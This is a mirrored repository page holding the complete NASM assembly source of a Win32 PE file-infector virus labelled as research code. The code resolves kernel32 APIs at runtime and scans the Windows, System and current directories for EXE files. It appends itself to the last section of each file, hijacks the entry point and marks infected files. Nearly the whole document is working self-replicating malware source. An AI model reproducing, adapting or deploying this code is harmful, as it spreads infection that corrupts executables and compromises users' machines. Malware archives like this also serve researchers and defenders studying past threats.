mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
624 lines
11 KiB
NASM
624 lines
11 KiB
NASM
;---------------------
|
|
;This is the Simple PE infection
|
|
;
|
|
;Name: lee ling chuan
|
|
;NickName:lclee_vx
|
|
;Company : Scan Associates
|
|
;Website : http://www.scan-associates.net
|
|
;Forum : http://www.prisma-mampu.gov.my/listforum.do
|
|
;the code just for research purpose
|
|
;------------------
|
|
.386p
|
|
.model flat, stdcall
|
|
option casemap:none
|
|
jumps
|
|
|
|
extrn MessageBoxA:proc
|
|
extrn ExitProcess:proc
|
|
|
|
sz_unuse equ (offset virii - offset virii_start)
|
|
MyVirusSz equ (offset virii_end - offset virii_sz)
|
|
heap_sz equ (offset heap_end - offset heap_start)
|
|
total_sz equ (MyVirusSz+heap_sz)
|
|
|
|
.data
|
|
szMessage db "this is Ring3 Virus, Just For Research Purpose", 0
|
|
szTitle db "from lclee_vx, http://www.scan-associates.net", 0
|
|
|
|
FILETIME STRUC
|
|
FT_dwLowDateTime dd ?
|
|
FT_dwHighDateTime dd ?
|
|
FILETIME ENDS
|
|
|
|
.code
|
|
|
|
virii_sz label byte
|
|
|
|
virii_start:
|
|
call virii
|
|
pushad
|
|
pushfd
|
|
virii:
|
|
pop ebp
|
|
mov eax, ebp
|
|
sub ebp, offset virii
|
|
|
|
sub eax, sz_unuse
|
|
sub eax, 00001000h
|
|
|
|
now_eip equ $-4
|
|
mov dword ptr [ebp+appbase],eax
|
|
|
|
mov esi, [esp+24]
|
|
xor edx, edx
|
|
call k32base
|
|
mov dword ptr [ebp+kernel], eax
|
|
|
|
lea edi, [ebp + @@offset_api]
|
|
lea esi, [esi + @@name_api]
|
|
call get_apis
|
|
call prepare_location
|
|
call start_infect
|
|
|
|
xchg ebp, ecx
|
|
jecxz SetSEH
|
|
|
|
popfd
|
|
popad
|
|
|
|
mov eax, 12345678h
|
|
org $-4
|
|
old_eip dd 00001000h
|
|
|
|
add eax, 12345678h
|
|
org $-4
|
|
appbase dd 00400000h
|
|
jmp eax
|
|
|
|
;---------------------------------
|
|
;this portion is to get the kernel32.dll address
|
|
;------------------------
|
|
k32base proc
|
|
dec esi
|
|
cmp word ptr [esi], "ZM"
|
|
jne k32base
|
|
mov edx, [esi+03ch]
|
|
cmp dword ptr [edx], "EP"
|
|
jne k32base
|
|
cmp esi, [esi+edx+34h]
|
|
jnz k32base
|
|
xchg eax, esi
|
|
ret
|
|
k32base endp
|
|
|
|
;@exit:
|
|
;ret
|
|
|
|
;------------------------------
|
|
;this portion is to get the api we want to run, :) ....excited?
|
|
;--------------------------
|
|
get_apis proc
|
|
@@step_1:
|
|
push esi
|
|
push edi
|
|
call get_api
|
|
pop edi
|
|
pop esi
|
|
|
|
xor al, al
|
|
stosd
|
|
xchg edi, esi
|
|
|
|
@@step_2:
|
|
scasb
|
|
jnz @@step_2
|
|
xchg edi, esi
|
|
|
|
@@step_3:
|
|
cmp byte ptr [esi], 0AAh
|
|
jnz @@step_1
|
|
ret
|
|
get_apis endp
|
|
|
|
get_api proc
|
|
mov edx, esi
|
|
mov edi, esi
|
|
|
|
xor al, al
|
|
|
|
@step_1: scasb
|
|
jnz @step_1
|
|
|
|
sub edi, esi
|
|
mov ecx, edi
|
|
|
|
xor eax, eax
|
|
mov esi, 3ch
|
|
add esi, [ebp+kernel]
|
|
lodsd
|
|
add eax, [ebp+kernel]
|
|
|
|
mov esi, [eax+78h]
|
|
add esi, 1ch
|
|
add esi, [ebp+kernel]
|
|
|
|
lea edi, [ebp+Address_of_func]
|
|
lodsd
|
|
add eax, [ebp+kernel]
|
|
stosd
|
|
|
|
lodsd
|
|
add eax, [ebp+kernel]
|
|
push eax
|
|
stosd
|
|
|
|
lodsd
|
|
add eax, [ebp+kernel]
|
|
stosd
|
|
pop esi
|
|
xor ebx, ebx
|
|
|
|
@step_2:
|
|
lodsd
|
|
push esi
|
|
add eax, [ebp+kernel]
|
|
mov esi, eax
|
|
mov edi, edx
|
|
push ecx
|
|
cld
|
|
rep cmpsb
|
|
pop ecx
|
|
jz @step_3
|
|
pop esi
|
|
inc ebx
|
|
jmp @step_2
|
|
|
|
@step_3: pop esi
|
|
xchg eax, ebx
|
|
shl eax, 1
|
|
add eax, dword ptr [ebp+Address_of_ordinals]
|
|
xor esi, esi
|
|
mov esi, eax
|
|
lodsd
|
|
shl eax, 2
|
|
add eax, dword ptr [ebp+Address_of_func]
|
|
mov esi, eax
|
|
lodsd
|
|
add eax, [ebp+kernel]
|
|
ret
|
|
get_api endp
|
|
|
|
;----------------
|
|
;prepare the location to scan
|
|
;--------------------
|
|
prepare_location proc
|
|
lea edi, [ebp+WinDir]
|
|
push 7Fh
|
|
push edi
|
|
call [ebp+_GetWindowsDirectoryA]
|
|
|
|
lea edi, [ebp+SysDir]
|
|
push 7Fh
|
|
push edi
|
|
call [ebp+_GetSystemDirectoryA]
|
|
|
|
lea edi, [ebp+CurrentDir]
|
|
push edi
|
|
push 7Fh
|
|
call [ebp+_GetCurrentDirectoryA]
|
|
ret
|
|
prepare_location endp
|
|
|
|
;-----------------
|
|
;let start to scan and looking for our needed file, heheheheheh :)
|
|
;---------------
|
|
start_infect:
|
|
lea edi, [ebp+location]
|
|
mov byte ptr [ebp+Mirror], 04h
|
|
|
|
set_location:
|
|
push edi
|
|
call [ebp+_SetCurrentDirectoryA]
|
|
|
|
push edi
|
|
call go_infect
|
|
pop edi
|
|
|
|
add edi, 7Fh
|
|
|
|
dec byte ptr [ebp+Mirror]
|
|
jnz set_location
|
|
ret
|
|
|
|
go_infect proc
|
|
and dword ptr [ebp+counter], 00000000h
|
|
|
|
; lea eax, [ebp+offset find_data]
|
|
lea eax, [ebp+offset WIN32_FIND_DATA]
|
|
push eax
|
|
lea eax, [ebp+offset Mark]
|
|
push eax
|
|
call [ebp+_FindFirstFileA]
|
|
|
|
inc eax
|
|
jz Fail
|
|
dec eax
|
|
|
|
mov dword ptr [ebp+SearchHandle], eax
|
|
|
|
@go_infect1: push dword ptr [ebp+old_eip]
|
|
push dword ptr [ebp+appbase]
|
|
|
|
call infect
|
|
|
|
pop dword ptr [ebp+appbase]
|
|
pop dword ptr [ebp+old_eip]
|
|
|
|
inc byte ptr [ebp+counter]
|
|
cmp dword ptr [ebp+counter], 0FFFFFFFFh
|
|
jz Fail
|
|
|
|
@go_infect2: lea edi, [ebp+WFD_szFileName]
|
|
mov ecx, max_path
|
|
xor al, al
|
|
rep stosb
|
|
|
|
; lea eax, [ebp+offset find_data]
|
|
lea eax, [ebp+offset WIN32_FIND_DATA]
|
|
push eax
|
|
push dword ptr [ebp+SearchHandle]
|
|
call [ebp+_FindNextFileA]
|
|
|
|
test eax, eax
|
|
jnz @go_infect1
|
|
endp go_infect
|
|
|
|
ClsSeachHandle:
|
|
push dword ptr [ebp+SearchHandle]
|
|
call [ebp+_FindClose]
|
|
|
|
Fail:
|
|
ret
|
|
|
|
;-------------------
|
|
;start infect. i use the "increase the last section" technic
|
|
;------------------
|
|
infect:
|
|
lea esi, [ebp+WFD_szFileName]
|
|
push 80h
|
|
push esi
|
|
call [ebp+_SetFileAttributesA]
|
|
|
|
call open_exe
|
|
inc eax
|
|
jz fail_open
|
|
dec eax
|
|
|
|
mov dword ptr [ebp+FileHandle], eax
|
|
call file_mapping
|
|
|
|
test eax, eax
|
|
jz file_close
|
|
|
|
mov dword ptr [ebp+MapHandle], eax
|
|
|
|
mov ecx, dword ptr [ebp+WFD_nFileSizeLow]
|
|
call map_view
|
|
|
|
test eax, eax
|
|
jz unmap_view
|
|
|
|
mov eax, dword ptr [ebp+MapAddress]
|
|
|
|
mov esi, [eax+3ch]
|
|
add esi, eax
|
|
cmp dword ptr [esi], "EP"
|
|
jz cant_infect
|
|
|
|
cmp dword ptr [esi+4ch], "LEE"
|
|
jz cant_infect
|
|
|
|
push dword ptr [esi+3ch]
|
|
|
|
push dword ptr [ebp+MapAddress]
|
|
call [ebp+_UnmapViewOfFile]
|
|
|
|
push dword ptr [ebp+MapHandle]
|
|
call [ebp+_CloseHandle]
|
|
|
|
pop ecx
|
|
|
|
mov eax, dword ptr [ebp+WFD_nFileSizeLow]
|
|
add eax, MyVirusSz
|
|
add eax, 1000h
|
|
|
|
call ReAlign
|
|
xchg ecx, eax
|
|
|
|
call file_mapping
|
|
test eax, eax
|
|
jz file_close
|
|
|
|
mov dword ptr [ebp+MapHandle], eax
|
|
|
|
mov ecx, dword ptr [ebp+NewFileSize]
|
|
call map_view
|
|
|
|
test eax, eax
|
|
jz unmap_view
|
|
|
|
mov dword ptr [ebp+MapAddress], eax
|
|
mov esi, [eax+3ch]
|
|
add esi, eax
|
|
mov edi, esi
|
|
|
|
mov ebx, [esi+74h]
|
|
shl ebx, 3
|
|
sub eax, eax
|
|
mov ax, word ptr [esi+6h]
|
|
dec eax
|
|
mov ecx, 28h
|
|
mul ecx
|
|
add esi, 78h
|
|
add esi, ebx
|
|
add esi, eax
|
|
|
|
mov eax, [edi+28h]
|
|
mov dword ptr [ebp+old_eip], eax
|
|
mov eax, [edi+34h]
|
|
mov dword ptr [ebp+appbase], eax
|
|
|
|
mov edx, [esi+10h]
|
|
mov ebx, edx
|
|
add edx, [esi+14h]
|
|
|
|
push edx
|
|
|
|
mov eax, ebx
|
|
add eax, [esi+0ch]
|
|
|
|
mov [edi+28h], eax
|
|
mov dword ptr [ebp+now_eip], eax
|
|
|
|
mov eax, [esi+10h]
|
|
add eax, MyVirusSz
|
|
mov ecx, [edi+3ch]
|
|
|
|
call ReAlign
|
|
mov [esi+10h], eax
|
|
mov [esi+08h], eax
|
|
pop edx
|
|
|
|
mov eax, [esi+10h]
|
|
add eax, [esi+0ch]
|
|
mov [edi+50h], eax
|
|
|
|
or dword ptr [esi+24h], 00000020h
|
|
or dword ptr [esi+24h], 20000000h
|
|
or dword ptr [esi+24h], 80000000h
|
|
|
|
mov dword ptr [edi+4ch], "LEE"
|
|
|
|
lea esi, [ebp+virii_start]
|
|
xchg edi, edx
|
|
|
|
add edi, dword ptr [ebp+MapAddress]
|
|
mov ecx, MyVirusSz
|
|
rep movsb
|
|
jmp unmap_view
|
|
|
|
;-----------------
|
|
;this portion we open the file
|
|
;----------------
|
|
open_exe proc
|
|
sub eax, eax
|
|
push eax
|
|
push eax
|
|
push 00000003h
|
|
push eax
|
|
push 00000001h
|
|
push 80000000h or 40000000h
|
|
push esi
|
|
call [ebp+_CreateFileA]
|
|
|
|
ret
|
|
open_exe endp
|
|
|
|
;-----------------------
|
|
;this portion fail to open the file, we are going to set the old file attribute
|
|
;-----------------------
|
|
fail_open proc
|
|
push dword ptr [ebp+WFD_dwFileAttributes]
|
|
lea eax, [ebp+WFD_szFileName]
|
|
push eax
|
|
call [ebp+_SetFileAttributesA]
|
|
ret
|
|
fail_open endp
|
|
|
|
;-----------------------
|
|
;map the file into memory
|
|
;----------------------
|
|
file_mapping proc
|
|
sub eax, eax
|
|
push eax
|
|
lea ecx, dword ptr [ebp+WFD_nFileSizeLow]
|
|
push ecx
|
|
push eax
|
|
push 00000004h
|
|
push eax
|
|
push dword ptr [ebp+FileHandle]
|
|
call [ebp+_CreateFileMappingA]
|
|
ret
|
|
file_mapping endp
|
|
|
|
;-----------------------
|
|
;so bad, we fail to map the file
|
|
;---------------------
|
|
file_close:
|
|
push dword ptr [ebp+FileHandle]
|
|
call [ebp+_CloseHandle]
|
|
|
|
;-----------------------
|
|
;this portion start function MapViewOfFile
|
|
;----------------------
|
|
map_view proc
|
|
push ecx
|
|
push 00000000h
|
|
push 00000000h
|
|
push 00000002h
|
|
push dword ptr [ebp+MapHandle]
|
|
call [ebp+_MapViewOfFile]
|
|
|
|
ret
|
|
map_view endp
|
|
|
|
;-----------------
|
|
;this portion for error of MapViewOfFile
|
|
;------------------------
|
|
unmap_view:
|
|
push dword ptr [ebp+MapAddress]
|
|
call [ebp+_UnmapViewOfFile]
|
|
|
|
;--------------------------
|
|
;this file cannot infect and will crash the system, we need to restore back all the variable
|
|
;--------------------------
|
|
cant_infect:
|
|
dec byte ptr [ebp+counter]
|
|
mov ecx, dword ptr [ebp+WFD_nFileSizeLow]
|
|
call original
|
|
|
|
;--------------------
|
|
;this portion is to reassembly the original file when detected failed infection
|
|
;----------------
|
|
original proc
|
|
push 00000000h
|
|
push 00000000h
|
|
push ecx
|
|
push dword ptr [ebp+FileHandle]
|
|
call [ebp+_SetFilePointer]
|
|
|
|
push dword ptr [ebp+FileHandle]
|
|
call [ebp+_SetEndOfFile]
|
|
ret
|
|
original endp
|
|
|
|
;----------------------
|
|
;align the infected PE file
|
|
;eax=file size, ecx=file alignment
|
|
;---------------
|
|
ReAlign proc
|
|
push edx
|
|
sub edx, edx
|
|
push eax
|
|
div ecx
|
|
pop eax
|
|
sub ecx,edx
|
|
add eax,ecx
|
|
pop edx
|
|
ret
|
|
ReAlign endp
|
|
|
|
;----------------
|
|
;all the variable
|
|
;-----------------
|
|
;appbase dd 00400000h
|
|
kernel dd ?
|
|
Mark db "*.EXE", 0
|
|
counter dd 00000000h
|
|
|
|
@@name_api label byte
|
|
@FindFisrtFileA db "FindFirstFileA", 0
|
|
@FindNextFileA db "FindNextFileA", 0
|
|
@FindClose db "FindClose", 0
|
|
@SetFileAttributesA db "SetFileAttributesA", 0
|
|
@CreateFileA db "CreateFileA", 0
|
|
@CreateFileMappingA db "CreateFileMappingA", 0
|
|
@CloseHandle db "CloseHandle", 0
|
|
@MapViewOfFile db "MapViewOfFile", 0
|
|
@SetFilePointer db "SetFilePointer", 0
|
|
@GetWindowsDirectoryA db "GetWindowsDirectoryA", 0
|
|
@GetSystemDirectoryA db "GetSystemDirectoryA", 0
|
|
@GetCurrentDirectoryA db "GetCurrentDirectoryA", 0
|
|
@SetCurrentDirectoryA db "SetCurrentDirectoryA", 0
|
|
@UnmapViewOfFile db "UnmapViewOfFile", 0
|
|
@SetEndOfFile db "SetEndOfFile", 0
|
|
db 0AAh
|
|
|
|
virii_end label byte
|
|
|
|
heap_start label byte
|
|
max_path equ 260
|
|
|
|
SearchHandle dd 00000000h
|
|
Address_of_func dd 00000000h
|
|
Address_of_ordinals dd 00000000h
|
|
FileHandle dd 00000000h
|
|
MapHandle dd 00000000h
|
|
MapAddress dd 00000000h
|
|
NewFileSize dd 00000000h
|
|
|
|
location label byte
|
|
WinDir db 7Fh dup (00)
|
|
SysDir db 7Fh dup (00)
|
|
CurrentDir db 7Fh dup (00)
|
|
Level db (($-location)/7Fh)
|
|
Mirror equ Level
|
|
|
|
@@offset_api label byte
|
|
_FindFirstFileA dd 00000000h
|
|
_FindNextFileA dd 00000000h
|
|
_FindClose dd 00000000h
|
|
_SetFileAttributesA dd 00000000h
|
|
_CreateFileA dd 00000000h
|
|
_CreateFileMappingA dd 00000000h
|
|
_CloseHandle dd 00000000h
|
|
_MapViewOfFile dd 00000000h
|
|
_SetFilePointer dd 00000000h
|
|
_GetWindowsDirectoryA dd 00000000h
|
|
_GetSystemDirectoryA dd 00000000h
|
|
_GetCurrentDirectoryA dd 00000000h
|
|
_SetCurrentDirectoryA dd 00000000h
|
|
_UnmapViewOfFile dd 00000000h
|
|
_SetEndOfFile dd 00000000h
|
|
|
|
|
|
WIN32_FIND_DATA label byte
|
|
WFD_dwFileAttributes DD ?
|
|
WFD_ftCreationTime FILETIME ?
|
|
WFD_ftLastAccessTime FILETIME ?
|
|
WFD_ftLastWriteTime FILETIME ?
|
|
WFD_nFileSizeHigh DD ?
|
|
WFD_nFileSizeLow DD ?
|
|
WFD_dwReserved0 DD ?
|
|
WFD_dwReserved1 DD ?
|
|
WFD_szFileName DB max_path DUP (?)
|
|
WFD_szAlternateFileName DB 13 DUP (?)
|
|
DB 3 DUP (?) ; dword padding
|
|
|
|
SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA
|
|
|
|
heap_end label byte
|
|
;-------------
|
|
;popup the meessage
|
|
;----------------
|
|
SetSEH:
|
|
pop dword ptr fs:[0]
|
|
add esp, 4
|
|
popad
|
|
popfd
|
|
|
|
sub eax, eax
|
|
push eax
|
|
push offset szTitle
|
|
push offset szMessage
|
|
push eax
|
|
call MessageBoxA
|
|
|
|
sub eax, eax
|
|
push eax
|
|
call ExitProcess
|
|
end virii_start
|
|
|
|
;--------------------------
|
|
;Thanks, r00t, hackerboy, billy...ur tutorial wonderful.... :)
|
|
;-------------------- |